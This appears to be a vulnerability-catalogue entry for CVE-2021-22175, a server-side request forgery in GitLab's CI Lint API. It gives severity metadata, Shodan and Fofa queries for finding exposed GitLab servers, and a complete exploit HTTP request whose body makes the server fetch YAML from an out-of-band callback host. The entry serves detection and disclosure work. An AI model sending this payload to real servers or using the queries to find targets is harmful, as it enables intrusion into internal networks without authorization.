| Title | GitLab CI Lint API - Server-Side Request Forgery |
|---|---|
| Author | 0x_Akoko |
| Severity | High |
| Impact | Unauthenticated attackers can perform arbitrary requests on internal network, potentially leading to information disclosure or internal network compromise. |
| Remediation | Update to the latest version of GitLab where the vulnerability is fixed. |
| CVSS Score | 8.6 |
| EPSS Score | 0.60386 |
| CVE ID | CVE-2021-22175 |
| CWE ID | CWE-918 |
| Shodan Query | http.title:"GitLab" |
| Fofa Query | app="GitLab" |
| Tags | cve cve2021 gitlab ssrf oast vkev |
GitLab 10.5 and later contain a server-side request forgery caused by insecure handling of webhook requests, letting unauthenticated attackers exploit the server for arbitrary requests, exploit requires sending crafted webhook requests.
POST /api/v4/ci/lint HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Content-Length: 123
Content-Type: application/json
Accept-Encoding: gzip
{"include_merged_yaml":true,"content":"include:\n remote: 'http://d5jn7n9le0o07267qcv0e7yoxmq861nyr.oast.fun/gitlab.yml'"}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-22175.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-22175.pcap
N/AN/A